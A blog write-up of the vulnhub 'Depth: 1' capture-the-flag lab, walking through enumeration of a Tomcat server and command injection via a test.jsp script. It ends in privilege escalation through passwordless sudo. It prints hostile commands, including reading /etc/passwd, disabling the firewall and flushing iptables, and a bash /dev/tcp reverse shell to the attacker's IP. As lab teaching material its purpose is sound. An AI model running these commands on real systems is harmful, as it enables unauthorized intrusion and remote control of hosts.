CTF: Depth: 1

This is a write-up on the Depth: 1 CTF released by Dan Lawson​ The VM has just one accessible service – a web server running the Apache Tomcat jsp engine:
nmap scan on target Depth 1 - vulnhub CTF walkthrough
# nmap -O -sT -sV -p- 192.168.56.105
The UDP Scan didn’t show any publicly accessible ports.

 Enumeration

First thing would be to check the contents of the web server:
Apache Tomcat - Depth 1 - vulnhub - CTF walkthrough
The target is running Apache Tomcat with some default directories exposed
This gives a bit of useful information exposing the default Apache Tomcat’s directories. There isn’t a robots.txt file on the target web server so this can not be used as an entry enumeration point. The next step, running dirb and nikto, shows a suspicious file named “test.jsp” which resides on the server:
Running dirb on target Depth 1 - vulnhub CTF walkthrough by d7x
# dirb http://192.168.56.105:8080
 
Running nikto on target Depth 1 - vulnhub CTF walkthrough - d7x
# nikto -h http://192.168.56.105:8080
Checking the test.jsp file on the target shows a “file listing checker” jsp script, which is supposed to serve as a service to list directories through the server upon request:
file listing checker - Depth 1 - vulnhub CTF walkthrough by d7x
Discovering a file listing checker on target Depth 1 – vulnhub CTF walkthrough
So trying comands like “ls -l /tmp”, “ls -l” works out of the box, however the output given is of an exact match to defined columns. Typing just “ls” wouldn’t give any output:
The test.jsp script uses fixed column output - Depth 1 - vulnhub CTF walkthrough - d7x
The test.jsp script uses fixed column output – vulnhub CTF walkthrough
So the first questions that come up to mind at this stage are: Is the script restricted to just executing the “ls” command? Can we execute another command? Typing “uname -a” indeed gives an output:
Executing a command on targe Depth 1 - vulnhub CTF walkthrough by d7x
testp.jsp: uname -a on target Depth 1 – vulnhub CTF walkthrough
Can a command without any output be actually executed? Typing “touch /tmp/output.txt” and then “ls -l /tmp” shows that the /tmp/output.txt file is actually created:
Checking for RCE on target Depth 1 - vulnhub CTF walkthrough - d7x
test.jsp: touch /tmp/nooutput.txt
Checking for command execution on target Depth 1 - vulnhub CTF walkthrough - d7x
test.jsp: ls -l /tmp
As the screenshots above show, a command with no output can be executed using the test.jsp script. Could we pipe commands? Can output be redirected?
ls -l /tmp | ls -l /tmp - checking for command piping on target Depth 1 - vulnhub CTF walkthrough - d7x
Commands can be piped using |
echo test > /tmp/test.txt - checking for output redirection on target Depth 1 - vulnhub CTF walkthrough - d7x
Can output be redirected?
echo test > /tmp/test.txt - no output redirection on target Depth 1 - vulnhub CTF walkthrough - d7x
/tmp/test.txt does not exist
So far the above enumeration concludes that: commands can be piped output can not be redirected This means that in case there’s a wget or a binary used to download files on the target will be useful, however you would not be able to type an arbitrary text inside a file. Enumerating the system further via the /bin, /usr/bin and /home directory (by typing ls -l /bin and ls -l /home) shows that there’s probably a user named “bill” on the system, wget binary available in /usr/bin and the freebsd version of netcat.
Discovering user bill on target Depth 1 - vulnhub CTF walkthrough
test.jsp: ls -l /home
So actually it took a bit time to realize that the command piping described above doesn’t always work as expected, and chaining commands this way may be a nightmare. I personally tried all sorts of things trying to discover a piping technique and use the netcat binary on the system to bring a reverse shell, even using the tee command along with passing the %0a (enter) terminator to avoid any kind of output redirection, which didn’t do any good. Having in mind the ls -l command column count, I even tried to get the contents of the /etc/passwd file using the following expression:
tail -n 1 /etc/passwd | sed 's/:/ /g' | sed 's/.*/& 7 8 9/'
which brings an identical output to the ls -l command, however making a few additional test using just ls -l and sed showed that the sed command doesn’t get executed at all:
sed command does not get evaluated - vulnhub CTF walkthrough - d7x
test.jsp: ls -l /tmp | sed ‘s/root/test/g’
Trying to bring an outbound connection  becomes out of a question vector after multiple attempts using either nc or wget,  meaning that the target host has probably outbound traffic filtering. So there is no outbound traffic, no command piping available (at least in the usual way), and the way to execute commands lacks verbosity. The /var/lib/tomcat8/webapps/ROOT/ directory belongs to root so files can not be just copied over to the web server directory for further enumeration:
/var/lib/tomcat8/webapps/ROOT/ - the root directory belongs to root - Depth 1 - vunhub CTF walkthrough - d7x
test.jsp: ls -al /var/lib/tomcat8/webapps/ROOT/
  So what’s the solution?

The Attack

Getting the pieces together, and having in mind the “bill” user resides on the target system, along with the “ps aux” command in place which serves as much of a hint in this case, the ssh daemon can be seen running on the server:
 Command: ps aux
Using the "ps aux" command to enumerate the server - vulnhub CTF walkthrough - d7x
test.jsp: ps aux
So there’s actually a ssh daemon running on the server, probably restricted to local use. As the test.jsp script already provides the local network access, it is worth giving a try to issue a remote ssh command locally, supposing user bill may have local access to the box without a password:
Executing a remote ssh command locally using ssh - target Depth 1 - vulnhub CTF walkthrough
test.jsp: ssh bill@localhost ls -al ~/
Now from this point a decent attack vector has been found and life just got easier. Checking the user for any sudo privileges returned a bugos response, so I made the following expression locally:
sudo -l | tail -n 1 | sed 's/.*/& 7 8 9/g'
The above command would get the last line of the sudo -l response, and then try to match the column count of the response from the test.jsp script. And then getting the output from the target:
sudo privileges for user bill on target Depth 1 - vulnhub CTF walkthrough - d7x
test.jsp: ssh bill@localhost sudo -l | tail -n 1 | sed ‘s/.*/& 7 8 9/g’
Surprisingly, the bill user has root access on the box with no password required. From this point my next move was to upload a jsp webshell in the web server root directory to get a cleaner output of the commands typed, which I won’t describe here, but overall it took me some time with the webshell to figure out that I actually have to flush any the iptables except just disabling the ubuntu firewall to get a connection back. So the main thing that has to be kept in mind is that you have to disable the firewall and flush the iptables configuration to enable the output traffic using the following commands:
sudo ufw disable
sudo iptables -F
and then get a shell on the system (please refer to my cheatsheet) using the following command:
/bin/bash -i >& /dev/tcp/192.168.56.137/443 0>&1
where 192.168.56.137 is the attacker’s IP. So after chaining the above commands a connection back has been initiated successfully:
Getting a shell and escalating to root - vulnhub CTF walkthrough - d7x
Getting a shell and escalating to root on target Depth 1 – vulnhub CTF walkthrough
And getting the flag:
Getting the flag on target Depth 1 - vulnhub CTF walkthrough - d7x
Getting the flag on target Depth 1 – vulnhub CTF walkthrough

Leave a Reply

Your email address will not be published. Required fields are marked *